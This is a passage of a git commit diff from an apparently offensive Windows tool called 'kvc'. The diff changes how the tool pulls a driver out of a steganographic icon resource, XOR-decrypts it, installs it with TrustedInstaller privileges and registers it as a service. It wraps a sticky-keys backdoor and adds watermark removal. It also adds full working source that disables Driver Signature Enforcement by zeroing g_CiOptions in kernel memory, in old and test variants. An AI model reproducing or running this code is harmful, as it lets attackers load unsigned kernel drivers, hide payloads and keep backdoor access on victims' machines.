Aktualizacja: 2025-10-15 23:50:43

This commit is contained in:
wesmar
2025-10-15 23:50:43 +02:00
parent 9075be7375
commit da908ccb24
18 changed files with 2315 additions and 1667 deletions

File diff suppressed because it is too large Load Diff

View File

@@ -1,4 +1,7 @@
// ControllerDriverManager.cpp
// Driver lifecycle management: installation, service control, extraction
// Author: Marek Wesolowski, 2025
#include "Controller.h"
#include "common.h"
#include "Utils.h"
@@ -11,8 +14,7 @@ namespace fs = std::filesystem;
// SERVICE CLEANUP AND MANAGEMENT
// ============================================================================
// Attempts to forcefully remove the driver service, ignoring most errors.
// This is a cleanup utility to ensure a clean state before installation.
// Forcefully remove driver service, ignoring most errors
bool Controller::ForceRemoveService() noexcept {
if (!InitDynamicAPIs()) {
return false;
@@ -23,7 +25,6 @@ bool Controller::ForceRemoveService() noexcept {
return false;
}
// Try to open the service with DELETE access
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), DELETE);
if (!hService) {
DWORD err = GetLastError();
@@ -40,8 +41,7 @@ bool Controller::ForceRemoveService() noexcept {
return success || (err == ERROR_SERVICE_MARKED_FOR_DELETE);
}
// Detects zombie service state (marked for deletion but not yet removed).
// Returns true if service exists with DELETE_PENDING flag, indicating system restart is required.
// Detect zombie service state (marked for deletion but not removed)
bool Controller::IsServiceZombie() noexcept {
if (!InitDynamicAPIs()) return false;
@@ -207,7 +207,7 @@ bool Controller::StartDriverServiceSilent() noexcept {
}
// ============================================================================
// DRIVER INSTALLATION - MAIN FUNCTION
// DRIVER INSTALLATION
// ============================================================================
bool Controller::InstallDriver() noexcept {
@@ -232,22 +232,13 @@ bool Controller::InstallDriver() noexcept {
return false;
}
auto encryptedData = ExtractEncryptedDriver();
if (encryptedData.empty()) {
ERROR(L"Failed to extract encrypted driver from icon resource");
return false;
}
auto driverData = DecryptDriver(encryptedData);
// Extract driver (already decrypted by Utils::ExtractResourceComponents)
auto driverData = ExtractDriver();
if (driverData.empty()) {
ERROR(L"Failed to decrypt embedded driver data");
ERROR(L"Failed to extract driver from resource");
return false;
}
// ========================================================================
// REFACTORED: Direct write with TrustedInstaller privileges
// ========================================================================
// Get target paths
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
@@ -280,10 +271,7 @@ bool Controller::InstallDriver() noexcept {
DEBUG(L"Driver file written successfully: %s (%zu bytes)", driverPath.c_str(), driverData.size());
// ========================================================================
// SERVICE REGISTRATION
// ========================================================================
// Register service
if (!InitDynamicAPIs()) return false;
GenerateFakeActivity();
@@ -326,7 +314,7 @@ bool Controller::InstallDriver() noexcept {
}
// ============================================================================
// SILENT INSTALLATION (for automated operations)
// SILENT INSTALLATION
// ============================================================================
bool Controller::InstallDriverSilently() noexcept {
@@ -334,16 +322,10 @@ bool Controller::InstallDriverSilently() noexcept {
return false;
}
auto encryptedData = ExtractEncryptedDriver();
if (encryptedData.empty()) return false;
auto driverData = DecryptDriver(encryptedData);
// Extract driver (already decrypted)
auto driverData = ExtractDriver();
if (driverData.empty()) return false;
// ========================================================================
// REFACTORED: Direct write with TrustedInstaller privileges
// ========================================================================
// Get target paths
fs::path driverDir = GetDriverStorePath();
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
@@ -444,42 +426,26 @@ bool Controller::UninstallDriver() noexcept {
std::error_code ec;
if (!fs::remove(driverPath, ec)) {
if (ec.value() != ERROR_FILE_NOT_FOUND) {
// Try with TrustedInstaller if normal delete fails
m_trustedInstaller.DeleteFileAsTrustedInstaller(driverPath.wstring());
}
}
return true;
}
// ============================================================================
// DRIVER EXTRACTION AND DECRYPTION
// DRIVER EXTRACTION
// ============================================================================
// Extract driver from steganographic icon resource
std::vector<BYTE> Controller::ExtractEncryptedDriver() noexcept {
auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA);
if (iconData.size() <= 9662) {
ERROR(L"Icon resource too small or corrupted - steganographic driver missing");
// Extract driver from resource (already decrypted by Utils::ExtractResourceComponents)
std::vector<BYTE> Controller::ExtractDriver() noexcept {
std::vector<BYTE> kvcSysData, dllData;
if (!Utils::ExtractResourceComponents(IDR_MAINICON, kvcSysData, dllData)) {
ERROR(L"Failed to extract kvc.sys from resource");
return {};
}
// Skip first 9662 bytes (actual icon data) to get embedded driver
return std::vector<BYTE>(iconData.begin() + 9662, iconData.end());
}
// Decrypt embedded driver using XOR cipher
std::vector<BYTE> Controller::DecryptDriver(const std::vector<BYTE>& encryptedData) noexcept {
if (encryptedData.empty()) {
ERROR(L"No encrypted driver data provided");
return {};
}
constexpr std::array<BYTE, 7> key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
std::vector<BYTE> decryptedData = encryptedData;
// Simple XOR decryption with repeating key
for (size_t i = 0; i < decryptedData.size(); ++i) {
decryptedData[i] ^= key[i % key.size()];
}
return decryptedData;
INFO(L"Driver extracted: %zu bytes", kvcSysData.size());
return kvcSysData;
}

View File

@@ -114,4 +114,27 @@ bool Controller::InstallStickyKeysBackdoor() noexcept {
bool Controller::RemoveStickyKeysBackdoor() noexcept {
return m_trustedInstaller.RemoveStickyKeysBackdoor();
}
}
// ============================================================================
// WATERMARK MANAGEMENT
// ============================================================================
bool Controller::RemoveWatermark() noexcept
{
WatermarkManager wmManager(m_trustedInstaller);
return wmManager.RemoveWatermark();
}
bool Controller::RestoreWatermark() noexcept
{
WatermarkManager wmManager(m_trustedInstaller);
return wmManager.RestoreWatermark();
}
std::wstring Controller::GetWatermarkStatus() noexcept
{
WatermarkManager wmManager(m_trustedInstaller);
return wmManager.GetWatermarkStatus();
}

View File

@@ -0,0 +1,370 @@
#include "DSEBypass.h"
#include "common.h"
#pragma comment(lib, "ntdll.lib")
// Kernel module structures (same as in Utils.cpp)
typedef struct _SYSTEM_MODULE {
ULONG_PTR Reserved1;
ULONG_PTR Reserved2;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc) : m_rtc(rtc) {}
bool DSEBypass::DisableDSE() noexcept {
INFO(L"[DSE] Attempting to disable Driver Signature Enforcement...");
// Step 1: Find ci.dll base address
auto ciBase = GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"[DSE] Failed to locate ci.dll");
return false;
}
INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value());
// Step 2: Locate g_CiOptions in CiPolicy section
m_ciOptionsAddr = FindCiOptions(ciBase.value());
if (!m_ciOptionsAddr) {
ERROR(L"[DSE] Failed to locate g_CiOptions");
return false;
}
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
// Step 3: Read current value and store as original
auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) {
ERROR(L"[DSE] Failed to read g_CiOptions");
return false;
}
m_originalValue = current.value();
INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue);
// Step 4: Test write capability - write same value back
DEBUG(L"[DSE] Testing write capability before modification...");
if (!m_rtc->Write32(m_ciOptionsAddr, m_originalValue)) {
ERROR(L"[DSE] Memory test write failed - address may be read-only or protected");
ERROR(L"[DSE] This could indicate Tamper Protection or PatchGuard monitoring");
return false;
}
// Verify test write
auto testRead = m_rtc->Read32(m_ciOptionsAddr);
if (!testRead || testRead.value() != m_originalValue) {
ERROR(L"[DSE] Memory test verification failed (expected: 0x%08X, got: 0x%08X)",
m_originalValue, testRead ? testRead.value() : 0xFFFFFFFF);
ERROR(L"[DSE] Memory region appears to be protected or monitored");
return false;
}
DEBUG(L"[DSE] Write capability test passed - memory is writable");
// Step 5: Disable DSE by setting to 0
DWORD newValue = 0x0;
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
ERROR(L"[DSE] Failed to write g_CiOptions");
return false;
}
// Step 6: Verify the actual change
auto verify = m_rtc->Read32(m_ciOptionsAddr);
if (!verify || verify.value() != newValue) {
ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF);
return false;
}
SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue);
return true;
}
bool DSEBypass::RestoreDSE() noexcept {
INFO(L"[DSE] Attempting to restore Driver Signature Enforcement...");
// Step 1: Find ci.dll base address
auto ciBase = GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"[DSE] Failed to locate ci.dll");
return false;
}
// Step 2: Locate g_CiOptions
m_ciOptionsAddr = FindCiOptions(ciBase.value());
if (!m_ciOptionsAddr) {
ERROR(L"[DSE] Failed to locate g_CiOptions");
return false;
}
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
// Step 3: Read current value
auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) {
ERROR(L"[DSE] Failed to read g_CiOptions");
return false;
}
DWORD currentValue = current.value();
INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue);
// Step 4: Test write capability before modification
DEBUG(L"[DSE] Testing write capability before restoration...");
if (!m_rtc->Write32(m_ciOptionsAddr, currentValue)) {
ERROR(L"[DSE] Memory test write failed - address may be read-only or protected");
return false;
}
auto testRead = m_rtc->Read32(m_ciOptionsAddr);
if (!testRead || testRead.value() != currentValue) {
ERROR(L"[DSE] Memory test verification failed");
return false;
}
DEBUG(L"[DSE] Write capability test passed");
// Step 5: Restore to original value or default (0x6)
DWORD newValue = m_originalValue ? m_originalValue : 0x6;
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
ERROR(L"[DSE] Failed to write g_CiOptions");
return false;
}
// Step 6: Verify the change
auto verify = m_rtc->Read32(m_ciOptionsAddr);
if (!verify || verify.value() != newValue) {
ERROR(L"[DSE] Verification failed");
return false;
}
SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
return true;
}
std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) {
ERROR(L"[DSE] Failed to get ntdll.dll handle");
return std::nullopt;
}
typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
auto pNtQuerySystemInformation = reinterpret_cast<NTQUERYSYSTEMINFORMATION>(
GetProcAddress(hNtdll, "NtQuerySystemInformation"));
if (!pNtQuerySystemInformation) {
ERROR(L"[DSE] Failed to get NtQuerySystemInformation");
return std::nullopt;
}
// First call to get required buffer size
ULONG bufferSize = 0;
NTSTATUS status = pNtQuerySystemInformation(
11, // SystemModuleInformation
nullptr,
0,
&bufferSize
);
if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status);
return std::nullopt;
}
// Allocate buffer and get module list
auto buffer = std::make_unique<BYTE[]>(bufferSize);
auto modules = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.get());
status = pNtQuerySystemInformation(
11, // SystemModuleInformation
modules,
bufferSize,
&bufferSize
);
if (status != 0) {
ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status);
return std::nullopt;
}
INFO(L"[DSE] Found %d kernel modules", modules->Count);
// Debug: Show first 10 modules for diagnostic purposes
DEBUG(L"[DSE] Listing first 10 kernel modules:");
for (ULONG i = 0; i < modules->Count && i < 10; i++) {
auto& mod = modules->Modules[i];
const char* fileName = strrchr(mod.ImageName, '\\');
if (fileName) fileName++;
else fileName = mod.ImageName;
DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName,
reinterpret_cast<ULONG_PTR>(mod.ImageBase));
}
// Search for target module by name
for (ULONG i = 0; i < modules->Count; i++) {
auto& mod = modules->Modules[i];
// Extract filename from full path
const char* fileName = strrchr(mod.ImageName, '\\');
if (fileName) {
fileName++; // Skip backslash
} else {
fileName = mod.ImageName;
}
if (_stricmp(fileName, moduleName) == 0) {
ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);
// Validate base address is not NULL
if (baseAddr == 0) {
ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName);
continue; // Keep searching in case of duplicates
}
DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize);
return baseAddr;
}
}
ERROR(L"[DSE] Module %S not found in kernel", moduleName);
return std::nullopt;
}
ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase);
// Get CiPolicy section information
auto dataSection = GetDataSection(ciBase);
if (!dataSection) {
ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll");
return 0;
}
ULONG_PTR dataStart = dataSection->first;
SIZE_T dataSize = dataSection->second;
DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
// g_CiOptions is always at offset +4 in CiPolicy section
// This is a documented offset used by all DSE bypass tools
ULONG_PTR ciOptionsAddr = dataStart + 0x4;
// Verify we can read from this address
auto currentValue = m_rtc->Read32(ciOptionsAddr);
if (!currentValue) {
ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr);
return 0;
}
DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value());
return ciOptionsAddr;
}
std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept {
// Read DOS header (MZ signature)
auto dosHeader = m_rtc->Read16(moduleBase);
if (!dosHeader || dosHeader.value() != 0x5A4D) {
return std::nullopt;
}
// Get PE header offset
auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C);
if (!e_lfanew || e_lfanew.value() > 0x1000) {
return std::nullopt;
}
ULONG_PTR ntHeaders = moduleBase + e_lfanew.value();
// Verify PE signature
auto peSignature = m_rtc->Read32(ntHeaders);
if (!peSignature || peSignature.value() != 0x4550) {
return std::nullopt;
}
// Get section count
auto numSections = m_rtc->Read16(ntHeaders + 0x6);
if (!numSections || numSections.value() > 50) {
return std::nullopt;
}
auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14);
if (!sizeOfOptionalHeader) return std::nullopt;
ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value();
DEBUG(L"[DSE] Scanning %d sections for CiPolicy...", numSections.value());
// ZOPTYMALIZOWANE: Szukaj tylko CiPolicy bez wypisywania wszystkich
for (WORD i = 0; i < numSections.value(); i++) {
ULONG_PTR sectionHeader = firstSection + (i * 40);
// Read section name (8 bytes)
char name[9] = {0};
for (int j = 0; j < 8; j++) {
auto ch = m_rtc->Read8(sectionHeader + j);
if (ch) name[j] = static_cast<char>(ch.value());
}
// Check if this is CiPolicy
if (strcmp(name, "CiPolicy") == 0) {
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
if (virtualSize && virtualAddr) {
DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X",
virtualAddr.value(), virtualSize.value());
return std::make_pair(
moduleBase + virtualAddr.value(),
static_cast<SIZE_T>(virtualSize.value())
);
}
}
}
ERROR(L"[DSE] CiPolicy section not found in ci.dll");
return std::nullopt;
}
bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept {
// Simplified validation - address should be within module bounds
// Maximum reasonable module size is 2MB
return (addr > moduleBase && addr < moduleBase + 0x200000);
}
DWORD DSEBypass::GetWindowsBuild() noexcept {
OSVERSIONINFOEXW osInfo = { sizeof(osInfo) };
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion");
if (RtlGetVersion) {
RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo);
return osInfo.dwBuildNumber;
}
return 0;
}

369
kvc/DSEBypass_old.cpp Normal file
View File

@@ -0,0 +1,369 @@
#include "DSEBypass.h"
#include "common.h"
#pragma comment(lib, "ntdll.lib")
// Same structures as in Utils.cpp
typedef struct _SYSTEM_MODULE {
ULONG_PTR Reserved1;
ULONG_PTR Reserved2;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc) : m_rtc(rtc) {}
bool DSEBypass::DisableDSE() noexcept {
INFO(L"[DSE] Attempting to disable Driver Signature Enforcement...");
// 1-3. Find ci.dll and g_CiOptions (bez zmian)
auto ciBase = GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"[DSE] Failed to locate ci.dll");
return false;
}
INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value());
m_ciOptionsAddr = FindCiOptions(ciBase.value());
if (!m_ciOptionsAddr) {
ERROR(L"[DSE] Failed to locate g_CiOptions");
return false;
}
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) {
ERROR(L"[DSE] Failed to read g_CiOptions");
return false;
}
m_originalValue = current.value();
INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue);
// ✅ Wyłącz DSE poprzez wyzerowanie
DWORD newValue = 0x0; // Najprostsze - wyzeruj wszystko jak EfiDSEFix
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
ERROR(L"[DSE] Failed to write g_CiOptions");
return false;
}
auto verify = m_rtc->Read32(m_ciOptionsAddr);
if (!verify || verify.value() != newValue) {
ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF);
return false;
}
SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue);
return true;
}
bool DSEBypass::RestoreDSE() noexcept {
INFO(L"[DSE] Attempting to restore Driver Signature Enforcement...");
// 1-2. Find ci.dll and g_CiOptions (bez zmian)
auto ciBase = GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"[DSE] Failed to locate ci.dll");
return false;
}
m_ciOptionsAddr = FindCiOptions(ciBase.value());
if (!m_ciOptionsAddr) {
ERROR(L"[DSE] Failed to locate g_CiOptions");
return false;
}
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) {
ERROR(L"[DSE] Failed to read g_CiOptions");
return false;
}
DWORD currentValue = current.value();
INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue);
// ✅ Przywróć oryginalną wartość (zwykle 0x6)
DWORD newValue = m_originalValue ? m_originalValue : 0x6; // Fallback do 0x6
if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) {
ERROR(L"[DSE] Failed to write g_CiOptions");
return false;
}
auto verify = m_rtc->Read32(m_ciOptionsAddr);
if (!verify || verify.value() != newValue) {
ERROR(L"[DSE] Verification failed");
return false;
}
SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
return true;
}
std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept {
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
if (!hNtdll) {
ERROR(L"[DSE] Failed to get ntdll.dll handle");
return std::nullopt;
}
typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
auto pNtQuerySystemInformation = reinterpret_cast<NTQUERYSYSTEMINFORMATION>(
GetProcAddress(hNtdll, "NtQuerySystemInformation"));
if (!pNtQuerySystemInformation) {
ERROR(L"[DSE] Failed to get NtQuerySystemInformation");
return std::nullopt;
}
ULONG bufferSize = 0;
NTSTATUS status = pNtQuerySystemInformation(
11, // SystemModuleInformation
nullptr,
0,
&bufferSize
);
// STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
if (status != 0xC0000004L) {
ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status);
return std::nullopt;
}
auto buffer = std::make_unique<BYTE[]>(bufferSize);
auto modules = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.get());
status = pNtQuerySystemInformation(
11, // SystemModuleInformation
modules,
bufferSize,
&bufferSize
);
if (status != 0) {
ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status);
return std::nullopt;
}
INFO(L"[DSE] Found %d kernel modules", modules->Count);
// DEBUG: Show first 10 modules
for (ULONG i = 0; i < modules->Count && i < 10; i++) {
auto& mod = modules->Modules[i];
const char* fileName = strrchr(mod.ImageName, '\\');
if (fileName) fileName++;
else fileName = mod.ImageName;
DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName,
reinterpret_cast<ULONG_PTR>(mod.ImageBase));
}
// Search for module by name
for (ULONG i = 0; i < modules->Count; i++) {
auto& mod = modules->Modules[i];
// ImageName contains full path, file name is at the end
const char* fileName = strrchr(mod.ImageName, '\\');
if (fileName) {
fileName++; // Skip '\'
} else {
fileName = mod.ImageName;
}
if (_stricmp(fileName, moduleName) == 0) {
ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);
// Check if ImageBase is not NULL
if (baseAddr == 0) {
ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName);
continue; // Keep searching
}
INFO(L"[DSE] Found %S at 0x%llX", moduleName, baseAddr);
return baseAddr;
}
}
ERROR(L"[DSE] Module %S not found in kernel", moduleName);
return std::nullopt;
}
ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
INFO(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase);
auto dataSection = GetDataSection(ciBase);
if (!dataSection) {
ERROR(L"[DSE] Failed to locate data section in ci.dll");
return 0;
}
ULONG_PTR dataStart = dataSection->first;
SIZE_T dataSize = dataSection->second;
INFO(L"[DSE] Scanning section: 0x%llX (size: 0x%llX)", dataStart, dataSize);
// Skanuj całą sekcję
SIZE_T scanLimit = dataSize;
DWORD consecutiveFailures = 0;
// ✅ DEBUG - wypisz WSZYSTKIE wartości w sekcji
INFO(L"[DSE] Dumping all DWORD values in section:");
for (ULONG_PTR addr = dataStart; addr < dataStart + scanLimit - 4; addr += 4) {
auto value = m_rtc->Read32(addr);
if (!value) {
consecutiveFailures++;
DEBUG(L"[DSE] 0x%llX: [READ FAILED]", addr);
if (consecutiveFailures > 20) {
ERROR(L"[DSE] Too many consecutive read failures, aborting");
return 0;
}
continue;
}
consecutiveFailures = 0;
DWORD val = value.value();
// Wypisz KAŻDĄ wartość
DEBUG(L"[DSE] 0x%llX (offset 0x%llX): 0x%08X", addr, addr - ciBase, val);
// Pattern g_CiOptions
if ((val & 0x6) == 0x6 && val < 0x10000) {
ULONG_PTR offset = addr - ciBase;
INFO(L"[DSE] *** FOUND g_CiOptions at: 0x%llX (offset: 0x%llX, value: 0x%08X)",
addr, offset, val);
return addr;
}
}
ERROR(L"[DSE] g_CiOptions not found in section");
return 0;
}
std::optional<std::pair<ULONG_PTR, SIZE_T>> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept {
auto dosHeader = m_rtc->Read16(moduleBase);
if (!dosHeader || dosHeader.value() != 0x5A4D) {
return std::nullopt;
}
auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C);
if (!e_lfanew || e_lfanew.value() > 0x1000) {
return std::nullopt;
}
ULONG_PTR ntHeaders = moduleBase + e_lfanew.value();
auto peSignature = m_rtc->Read32(ntHeaders);
if (!peSignature || peSignature.value() != 0x4550) {
return std::nullopt;
}
auto numSections = m_rtc->Read16(ntHeaders + 0x6);
if (!numSections || numSections.value() > 50) {
return std::nullopt;
}
auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14);
if (!sizeOfOptionalHeader) return std::nullopt;
ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value();
// ✅ DEBUG - wylistuj WSZYSTKIE sekcje
INFO(L"[DSE] Listing ALL sections in ci.dll:");
for (WORD i = 0; i < numSections.value(); i++) {
ULONG_PTR sectionHeader = firstSection + (i * 40);
char name[9] = {0};
for (int j = 0; j < 8; j++) {
auto ch = m_rtc->Read8(sectionHeader + j);
if (ch) name[j] = static_cast<char>(ch.value());
}
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
auto characteristics = m_rtc->Read32(sectionHeader + 0x24);
if (virtualSize && virtualAddr && characteristics) {
DWORD chars = characteristics.value();
bool writable = (chars & 0x80000000) != 0; // IMAGE_SCN_MEM_WRITE
INFO(L"[DSE] Section %d: %-8S RVA=0x%06X Size=0x%06X Chars=0x%08X %s",
i, name, virtualAddr.value(), virtualSize.value(), chars,
writable ? L"[WRITABLE]" : L"[READ-ONLY]");
}
}
// Teraz szukaj sekcji zawierającej offset 0x4E004
for (WORD i = 0; i < numSections.value(); i++) {
ULONG_PTR sectionHeader = firstSection + (i * 40);
char name[9] = {0};
for (int j = 0; j < 8; j++) {
auto ch = m_rtc->Read8(sectionHeader + j);
if (ch) name[j] = static_cast<char>(ch.value());
}
auto virtualSize = m_rtc->Read32(sectionHeader + 0x08);
auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C);
if (virtualSize && virtualAddr) {
DWORD rva = virtualAddr.value();
DWORD size = virtualSize.value();
// Sprawdź czy offset 0x4E004 jest w tej sekcji
if (0x4E004 >= rva && 0x4E004 < (rva + size)) {
INFO(L"[DSE] Section %S contains offset 0x4E004!", name);
return std::make_pair(
moduleBase + rva,
static_cast<SIZE_T>(size)
);
}
}
}
ERROR(L"[DSE] No section found containing offset 0x4E004");
return std::nullopt;
}
bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept {
// Simplified validation - address should be within module
return (addr > moduleBase && addr < moduleBase + 0x200000);
}
DWORD DSEBypass::GetWindowsBuild() noexcept {
OSVERSIONINFOEXW osInfo = { sizeof(osInfo) };
typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion");
if (RtlGetVersion) {
RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo);
return osInfo.dwBuildNumber;
}
return 0;
}

394
kvc/DSEBypass_read_test.cpp Normal file
View File

@@ -0,0 +1,394 @@
#include "DSEBypass.h"
#include "common.h"
#pragma comment(lib, "ntdll.lib")
// Kernel module structures (same as in Utils.cpp)
typedef struct _SYSTEM_MODULE {
ULONG_PTR Reserved1;
ULONG_PTR Reserved2;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
DSEBypass::DSEBypass(std::unique_ptr<kvc>& rtc) : m_rtc(rtc) {}
bool DSEBypass::DisableDSE() noexcept {
INFO(L"[DSE] Attempting to disable Driver Signature Enforcement...");
// Step 1: Find ci.dll base address
auto ciBase = GetKernelModuleBase("ci.dll");
if (!ciBase) {
ERROR(L"[DSE] Failed to locate ci.dll");
return false;
}
INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value());
// Step 2: Locate g_CiOptions in CiPolicy section
m_ciOptionsAddr = FindCiOptions(ciBase.value());
if (!m_ciOptionsAddr) {
ERROR(L"[DSE] Failed to locate g_CiOptions");
return false;
}
INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr);
// Step 3: Read current value and store as original
auto current = m_rtc->Read32(m_ciOptionsAddr);
if (!current) {
ERROR(L"[DSE] Failed to read g_CiOptions");
return false;
}
m_originalValue = current.value();
INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue);
// Step 4: Test write capability - write same value back
DEBUG(L"[DSE] Testing write capability before modification...");
if (!m_rtc->Write32(m_ciOptionsAddr, m_originalValue)) {
ERROR(L"[DSE] Memory test write failed - address may be read-only or protected");
ERROR(L"[DSE] This could indicate Tamper Protection or PatchGuard monitoring");
return false;
}
// Verify test write
auto testRead = m_rtc->Read32(m_ciOptionsAddr);
if (!testRead || testRead.value() != m_originalValue) {
ERROR(L"[DSE] Memory test verification failed (expected: 0x%08X, got: 0x%08X)",
m_originalValue, testRead ? testRead.value() : 0xFFFFFFFF);
ERROR(L"[DSE] Memory region appears to be protected or monitored");
return false;
}
